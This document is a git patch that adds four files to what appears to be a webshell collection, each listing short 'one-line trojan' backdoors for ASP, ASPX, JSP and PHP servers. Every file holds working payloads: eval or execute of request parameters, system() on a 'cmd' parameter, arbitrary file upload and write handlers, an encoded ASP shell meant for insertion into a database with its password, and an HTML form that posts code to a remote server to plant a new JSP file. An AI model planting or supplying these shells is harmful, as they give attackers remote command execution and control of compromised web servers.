From cf5003d2a2d05340070ce99cdfdbf5a3f78736b7 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Thu, 22 May 2014 08:41:53 +0800
Subject: [PATCH] add the word  webshell

---
 ...SP\344\270\200\345\217\245\350\257\23502.txt" | 16 ++++++++++++++++
 ...PX\344\270\200\345\217\245\350\257\23502.txt" |  7 +++++++
 .../jsp\344\270\200\345\217\245\350\257\235.txt" |  9 +++++++++
 ...hp\344\270\200\345\217\245\350\257\23502.txt" |  9 +++++++++
 4 files changed, 41 insertions(+)
 create mode 100644 "asp/ASP\344\270\200\345\217\245\350\257\23502.txt"
 create mode 100644 "aspx/ASPX\344\270\200\345\217\245\350\257\23502.txt"
 create mode 100644 "jspx/jsp\344\270\200\345\217\245\350\257\235.txt"
 create mode 100644 "php/php\344\270\200\345\217\245\350\257\23502.txt"

diff --git "a/asp/ASP\344\270\200\345\217\245\350\257\23502.txt" "b/asp/ASP\344\270\200\345\217\245\350\257\23502.txt"
new file mode 100644
index 00000000..79b63736
--- /dev/null
+++ "b/asp/ASP\344\270\200\345\217\245\350\257\23502.txt"
@@ -0,0 +1,16 @@
+ASP
+
+<%eval request("sb")%>
+
+<%execute request("sb")%>
+
+%><%Eval(Request(chr(35)))%><%
+
+<%ExecuteGlobal request("sb")%>
+
+在数据库里插入的一句话木马
+
+┼攠數畣整爠煥敵瑳∨∣┩愾
+
+┼癥污爠煥敵瑳∨≡┩> 密码为: a
+
diff --git "a/aspx/ASPX\344\270\200\345\217\245\350\257\23502.txt" "b/aspx/ASPX\344\270\200\345\217\245\350\257\23502.txt"
new file mode 100644
index 00000000..43440442
--- /dev/null
+++ "b/aspx/ASPX\344\270\200\345\217\245\350\257\23502.txt"
@@ -0,0 +1,7 @@
+<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
+
+< %@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
+
+<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
+
+<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
\ No newline at end of file
diff --git "a/jspx/jsp\344\270\200\345\217\245\350\257\235.txt" "b/jspx/jsp\344\270\200\345\217\245\350\257\235.txt"
new file mode 100644
index 00000000..ce4bc144
--- /dev/null
+++ "b/jspx/jsp\344\270\200\345\217\245\350\257\235.txt"
@@ -0,0 +1,9 @@
+<%
+if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
+%>
+提交客户端
+程序后门代码
+<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
+< textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
+< input type=submit value="提交">
+< /form>
\ No newline at end of file
diff --git "a/php/php\344\270\200\345\217\245\350\257\23502.txt" "b/php/php\344\270\200\345\217\245\350\257\23502.txt"
new file mode 100644
index 00000000..43944be8
--- /dev/null
+++ "b/php/php\344\270\200\345\217\245\350\257\23502.txt"
@@ -0,0 +1,9 @@
+<?php eval($_POST[sb])?>
+
+<?php @eval($_POST[c])?>
+
+<?php system($_REQUEST['cmd']);?> 
+
+<?php assert($_POST[c]);?>
+
+<?fputs(fopen(c.php,w),<?eval($_POST[c]);?>)?>
\ No newline at end of file